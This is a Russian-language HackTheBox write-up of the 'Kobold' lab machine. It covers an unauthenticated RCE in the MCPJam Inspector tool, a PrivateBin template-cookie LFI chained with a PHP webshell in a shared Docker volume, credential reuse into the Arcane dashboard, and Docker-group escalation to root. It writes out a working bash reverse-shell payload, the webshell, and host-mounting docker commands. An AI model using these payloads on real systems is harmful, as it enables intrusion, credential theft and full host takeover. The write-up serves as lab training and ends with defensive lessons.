Перед вами разбор машины Kobold из 10-го сезона HackTheBox. Easy машина, которая оказалась интересной - тут и chaining уязвимостей через Docker volumes, и credential reuse, и два разных пути до root. Но главная изюминка: точка входа - RCE в инструменте из AI/ML-экосистемы. Спойлер: MCP тулзе. Новый attack surface, который стоит знать. Погнали)

Разведка

Сканирование портов

Традиционно начинаем с полного сканирования портов:

nmap -p- -sC -sV -oN recon/nmap/full.txt <Target IP>
Результат сканирования Nmap - обнаружены порты 22, 80, 443 и 3552
Результат сканирования Nmap - обнаружены порты 22, 80, 443 и 3552

Nmap обнаруживает четыре открытых TCP-порта:

Порт

Сервис

Версия

Заметки

22

SSH

OpenSSH 9.6p1 Ubuntu

Свежая версия, без известных CVE

80

HTTP

nginx 1.24.0

Redirect → https://kobold.htb

443

HTTPS

nginx 1.24.0

SSL, title: “Kobold Operations Suite”

3552

HTTP

-

Nmap не распознал, но fingerprint содержит HTML

SSH на данном этапе бесполезен без учётных данных. Порт 80 просто редиректит на HTTPS. А вот порты 443 и 3552 - наши основные цели.

Важная находка из NSE-скриптов: SSL-сертификат на порту 443 содержит wildcard *.kobold.htb в Subject Alternative Name. Для пентестера это прямой сигнал: существуют сабдомены, которые нужно энумерить.

| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb

Добавление домена в hosts

echo "<Target IP> kobold.htb" | sudo tee -a /etc/hosts

Исследование веб-приложений

Открываем https://kobold.htb в браузере - перед нами статический лендинг “Kobold Operations Suite”. Никакого бэкенда, форм авторизации, интерактива. В общем тупик.

Лендинг страница kobold.htb
Лендинг страница kobold.htb

Переходим к порту 3552. Здесь важный момент - curl -k https://kobold.htb:3552 возвращает ошибку wrong version number. Это значит, что порт 3552 работает по plain HTTP, а не HTTPS. Ошибка, которую легко допустить, когда привык что всё за TLS.

curl http://kobold.htb:3552 -I
# HTTP/1.1 200 OK
# Content-Type: text/html; charset=utf-8
Порт 3552 отвечает по HTTP, но не по HTTPS — ошибка SSL подтверждает plain HTTP
Порт 3552 отвечает по HTTP, но не по HTTPS — ошибка SSL подтверждает plain HTTP

Открываем http://kobold.htb:3552 в браузере:

Arcane v1.13.0 - Docker management dashboard на порту 3552. Требует аутентификации
Arcane v1.13.0 - Docker management dashboard на порту 3552. Требует аутентификации

Arcane v1.13.0 - Docker management dashboard. Login form с полями Username/Password. Внизу ссылка “View on GitHub” и версия 1.13.0. Без кредов мы сюда не попадём - запомним и идём дальше.

Поиск сабдоменов

Wildcard в SSL-сертификате кричит о сабдоменах. Используем ffuf для vhost enumeration:

# Шаг 1: определяем размер дефолтного ответа для фильтрации
curl -k https://kobold.htb -H "Host: asdfnotexist.kobold.htb" -s | wc -c
# → 154

# Шаг 2: фильтруем по этому размеру
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
     -u https://kobold.htb -H "Host: FUZZ.kobold.htb" -k -fs 154
ffuf обнаружил сабдомен mcp.kobold.htb
ffuf обнаружил сабдомен mcp.kobold.htb

Результат - один сабдомен:

mcp    [Status: 200, Size: 466, Words: 57, Lines: 15]

Добавляем в hosts:

echo "<Target IP> mcp.kobold.htb" | sudo tee -a /etc/hosts

MCPJam Inspector - точка входа

Открываем https://mcp.kobold.htb:

Dashboard MCPJam Inspector - полный функционал доступен без логина
Dashboard MCPJam Inspector - полный функционал доступен без логина

MCPJam Inspector v1.4.2 - development-платформа для MCP-серверов. Полный dashboard без какой-либо аутентификации: Servers, Chat, App Builder, Tools, Resources, Settings - всё доступно. В Settings видим подключённый Ollama и версию v1.4.2.

MCPJam Inspector v1.4.2 - Settings также доступны без аутентификации, Ollama подключен
MCPJam Inspector v1.4.2 - Settings также доступны без аутентификации, Ollama подключен

Для тех, кто не следит за ИИ нарративом: Model Context Protocol - это стандарт для подключения AI-моделей к внешним инструментам. MCPJam Inspector - это dev-tool для тестирования MCP-серверов. И вот такие инструменты всё чаще оказываются exposed в production без аутентификации.

Получение доступа (Foothold)

Уязвимость: GHSA-232v-j27c-5pp6

MCPJam Inspector версий ≤1.4.2 содержит критическую уязвимость удалённого выполнения кода (RCE). Проблема в двух вещах:

  1. По умолчанию Inspector слушает на 0.0.0.0 вместо 127.0.0.1 - все HTTP API доступны извне

  2. Endpoint /api/mcp/connect предназначен для подключения к MCP-серверам и принимает параметр serverConfig.command - произвольную команду для запуска. Без аутентификации. Без валидации.

По сути, это задокументированный функционал, который в контексте exposed сервиса превращается в RCE с одного HTTP-запроса.

Эксплуатация

Запускаем listener в отдельном окне терминала:

nc -lvnp 4444

Отправляем payload:

curl -k https://mcp.kobold.htb/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/<Your IP>/4444 0>&1"],"env":{}},"serverId":"pwn"}'

Ловим shell:

Отправляем payload через /api/mcp/connect - ловим reverse shell как ben
Отправляем payload через /api/mcp/connect - ловим reverse shell как ben

Мы на хосте как пользователь ben. Стабилизируем shell (без этого нет автокомплита, не работают стрелки, Ctrl+C убьёт соединение, а интерактивные команды вроде su откажутся запускаться):

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z в терминале
stty raw -echo; fg
export TERM=xterm

User Flag

cat /home/ben/user.txt
# <FLAG>

Разведка изнутри

Пользователи и группы

id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

cat /etc/group | grep docker
# docker:x:111:alice

cat /etc/passwd | grep -v nologin | grep -v false
# root, ben, alice
ben в группе operator, alice в группе docker. Два пользователя с shell - ben и alice
ben в группе operator, alice в группе docker. Два пользователя с shell - ben и alice

Ключевое наблюдение: alice в группе docker, а ben - нет. Зато ben в группе operator. Нам нужен путь к docker-привилегиям.

Внутренние сервисы

ss -tlnp
Внутренние сервисы: порт 8080 (PrivateBin в Docker) и 6274 (MCPJam) слушают только на localhost
Внутренние сервисы: порт 8080 (PrivateBin в Docker) и 6274 (MCPJam) слушают только на localhost

Адрес

Порт

Сервис

127.0.0.1

8080

Docker контейнер (PrivateBin)

127.0.0.1

6274

MCPJam Inspector (node)

0.0.0.0

443/80

nginx

*

3552

Arcane

Порт 8080 слушает только на localhost - он не был виден при внешнем сканировании. Проверяем:

ps aux | grep 8080
# root  /usr/bin/docker-proxy ... -host-port 8080 -container-ip 172.17.0.2
Порт 8080 - docker-proxy, PrivateBin работает в контейнере
Порт 8080 - docker-proxy, PrivateBin работает в контейнере

Это Docker-контейнер. Смотрим nginx-конфиг:

cat /etc/nginx/sites-enabled/privatebin
Nginx конфиг раскрывает сабдомен bin.kobold.htb, проксирующий на localhost:8080
Nginx конфиг раскрывает сабдомен bin.kobold.htb, проксирующий на localhost:8080

Обнаружен ещё один сабдомен - bin.kobold.htb, проксирующий на PrivateBin в Docker-контейнере. Добавляем в hosts на атакующей машине и открываем в браузере:

PrivateBin 2.0.2 на bin.kobold.htb
PrivateBin 2.0.2 на bin.kobold.htb

PrivateBin 2.0.2 - self-hosted pastebin с шифрованием на стороне клиента. Версия попадает в диапазон уязвимых к LFI (CVE-2025-64714, затрагивает 1.7.7 — 2.0.2). Но для эксплуатации нам нужна возможность записать PHP-файл в файловую систему контейнера. Вспоминаем, что ben состоит в группе operator — проверяем, что она даёт:

find / -group operator 2>/dev/null
Группа operator имеет доступ к /privatebin-data - shared volume контейнера
Группа operator имеет доступ к /privatebin-data - shared volume контейнера

Группа operator имеет read/write доступ к /privatebin-data/ - это Docker volume, примонтированный в контейнер PrivateBin. Директория /privatebin-data/data/ - полностью writable.

Это важная находка: мы можем писать файлы в volume, которые будут видны внутри контейнера.

PrivateBin LFI → Credential Leak

Уязвимость: CVE-2025-64714 (GHSA-g2j9-g8r5-rg82)

PrivateBin с включённым templateselection = true доверяет cookie template для выбора PHP-шаблона. Через path traversal можно включить произвольный PHP-файл относительно директории tpl/. Сама по себе LFI в контейнере кажется бесполезной — мы ограничены его файловой системой. Но у нас есть writable volume, общий между хостом и контейнером. Это позволяет выстроить цепочку:

Privatebin LFI Chain
Privatebin LFI Chain

Эксплуатация

Шаг 1 - дропаем webshell с хоста (shell как ben):

cat > /privatebin-data/data/pwn.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF

Шаг 2 - LFI через template cookie (атакующая машина):

curl -k https://bin.kobold.htb/ \
  -b "template=../data/pwn" \
  -G --data-urlencode "cmd=id"

Результат:

Webshell записан в shared volume, LFI через template cookie дает RCE в контейнере
Webshell записан в shared volume, LFI через template cookie дает RCE в контейнере

LFI работает. Мы выполняем код внутри Docker-контейнера PrivateBin.

Шаг 3 - сливаем конфиг:

curl -k https://bin.kobold.htb/ \
  -b "template=../data/pwn" \
  -G --data-urlencode "cmd=cat /srv/cfg/conf.php"
Сливаем конфиг PrivateBin через LFI - cat /srv/cfg/conf.php
Сливаем конфиг PrivateBin через LFI - cat /srv/cfg/conf.php

В конфиге находим секцию MySQL с реальными credentials:

MySQL credentials в конфиге - пароль найден, username: privatebin
MySQL credentials в конфиге - пароль найден, username: privatebin

Отдельно интересен комментарий в конфиге: “Temporarily disabling while we migrate to new server for loadbalancing” - база временно отключена, но пароль реальный и, как часто бывает, переиспользуется.

Privilege Escalation - Intended Path

Credential Reuse → Arcane Dashboard

Каждый найденный пароль при пентесте нужно пробовать во всех обнаруженных сервисах. Это не опция - это обязательный чеклист:

☐ SSH (alice, ben, root)
☐ su alice / su root
☐ Arcane Dashboard (admin, alice, ben, privatebin)
☐ Любые другие формы логина

Попытки su alice и SSH не дали результата. Следующая цель — Arcane Dashboard на http://kobold.htb:3552. Но какой логин использовать?

При credential reuse важно не только пробовать username’ы из найденных конфигов (privatebin, alice, ben), но и гуглить дефолтные учётные записи для конкретного продукта. Быстрый поиск “Arcane default credentials” приводит к документации и GitHub Discussions — дефолтный логин: arcane / arcane-admin.

Пароль по дефолту не подошёл — его сменили. Но username оставили стандартным. Пробуем комбинацию дефолтного username + leaked password:

  • Username: arcane

  • Password: <LEAKED_PASSWORD>

    Credential reuse - дефолтный логин arcane + leaked password дает доступ к Arcane
    Credential reuse - дефолтный логин arcane + leaked password дает доступ к Arcane

Мы внутри. Полноценный Docker management dashboard: контейнеры, образы, volumes, networks - всё под контролем.

Урок: при credential reuse всегда проверяй дефолтные учётные записи из документации продукта. Пароль могут сменить, но username часто оставляют как есть.

Создание Privileged-контейнера

Arcane позволяет создавать Docker-контейнеры через UI. Если мы создадим контейнер, который монтирует корневую файловую систему хоста - получим полный доступ как root.

Containers → Create Container со следующими параметрами:

Arcane Dashboard - полный контроль над Docker: контейнеры, образы, volumes
Arcane Dashboard - полный контроль над Docker: контейнеры, образы, volumes
Containers - создаем новый контейнер через Create Container
Containers - создаем новый контейнер через Create Container

Вкладка Basic:

Параметр

Значение

Container Name

pwned (можем написать что угодно)

Image

privatebin/nginx-fpm-alpine:2.0.2

Command

/bin/bash

User

0

Остальные параметры не трогаем на этой вкладке

Basic tab - образ privatebin, command /bin/bash, user 0 (root)
Basic tab - образ privatebin, command /bin/bash, user 0 (root)

Вкладка Volumes:

Source (Host)

Container Path

/

/hostfs

Volumes - монтируем корень хоста (/) в /hostfs контейнера
Volumes - монтируем корень хоста (/) в /hostfs контейнера

Или в текстовом формате: /:/hostfs

Вкладка Network & Security:

☑ Ставим галочку на Privileged mode

Privileged mode включен - контейнер получит полные привилегии
Privileged mode включен - контейнер получит полные привилегии

Жмём Create Container, запускаем, открываем Shell:

Контейнер запущен - user 0. Переходим в Shell
Контейнер запущен - user 0. Переходим в Shell
cat /hostfs/root/root.txt
Root flag получен через /hostfs/root/root.txt - GG
Root flag получен через /hostfs/root/root.txt - GG

Root flag получен.

Альтернативный путь - newgrp docker

Выше мы прошли полную цепочку: LFI → credential leak → Arcane → privileged container. Красиво, но долго. А теперь - бонус для тех, кто дочитал до конца: тот же root за 3 команды, без UI, без поиска паролей, без credential reuse.

Откуда я узнал про этот путь? Когда уже был внутри Arcane, из любопытства полез в /etc/gshadow через shell контейнера с примонтированным хостом. И вот что бросилось в глаза:

gshadow раскрывает секрет - ben тоже участник группы docker
gshadow раскрывает секрет - ben тоже участник группы docker

Секунду. Ben в группе docker? Но cat /etc/group | grep docker показывал только alice. Дело в том, что gshadow — это теневой файл групповых разрешений, и он может содержать участников, которых нет в основном /etc/group. Команда newgrp при наличии записи в /etc/gshadow берёт список участников именно оттуда, а не из /etc/group (man newgrp). Участники, перечисленные в gshadow, могут переключиться в группу без пароля.

newgrp docker
newgrp docker - группа docker появилась, Docker daemon доступен
newgrp docker - группа docker появилась, Docker daemon доступен

Теперь у нас есть прямой доступ к Docker daemon. Монтируем хостовую FS и запускаем команду чтобы прочитать флаг:

docker run --rm -u 0 -v /:/hostfs --entrypoint /bin/sh \
  privatebin/nginx-fpm-alpine:2.0.2 -c "cat /hostfs/root/root.txt"
Три команды до root - монтируем хост и читаем флаг
Три команды до root - монтируем хост и читаем флаг

Результат тот же - root flag за 3 команды вместо 10 минут в UI. Но с точки зрения обучения, длинный путь интереснее - он учит chaining уязвимостей.

Пара нюансов при работе с Docker-образами:

  • --entrypoint /bin/sh - обязателен, иначе запустится дефолтный процесс (nginx+php-fpm) и перехватит stdin

  • -u 0 - запуск как root в контейнере, иначе Permission denied при чтении /root/

  • --rm - удаляет контейнер после выхода, чтобы не мусорить

Kill Chain

Mitre Kill Chain mapping
Mitre Kill Chain mapping

Выводы

MCP Security - новый класс attack surface

MCPJam Inspector - не единичный случай. По мере роста MCP-экосистемы (серверы, инспекторы, прокси) мы видим всё больше инструментов, которые по дефолту слушают на 0.0.0.0 без аутентификации. База vulnerablemcp.info уже содержит десятки подобных уязвимостей. Для AppSec-инженеров это сигнал: аудит MCP-конфигураций должен стать частью security review.

Docker group = root

Банально, но повторяется из лабы в лабы: членство в группе docker эквивалентно root-доступу. Одна команда docker run -v /:/hostfs - и файловая система хоста ваша. При аудите Linux-систем это должен быть один из первых проверяемых пунктов.

LFI в контейнере ≠ тупик

Изолированная LFI внутри контейнера кажется бесполезной - но если между хостом и контейнером есть shared volume с write-доступом, это полноценный вектор. Chain: drop file → LFI trigger → config leak → credential reuse.

Credential Reuse + дефолтные логины

Нашёл пароль? Пробуй его везде. И не забывай про admin / root / administrator - даже если в конфиге username был privatebin, логин в web-приложении может быть совершенно другим. Также полезно будет поискать дефолтные юзернеймы для сервисов, как было с Arcane dasboard - arcane.

References

Спасибо что дочитали до конца, надеюсь было интересно. Если статья была полезна - буду рад фидбэку. Постараюсь опубликовать следующие writeup’ы по мере прохождения Season 10.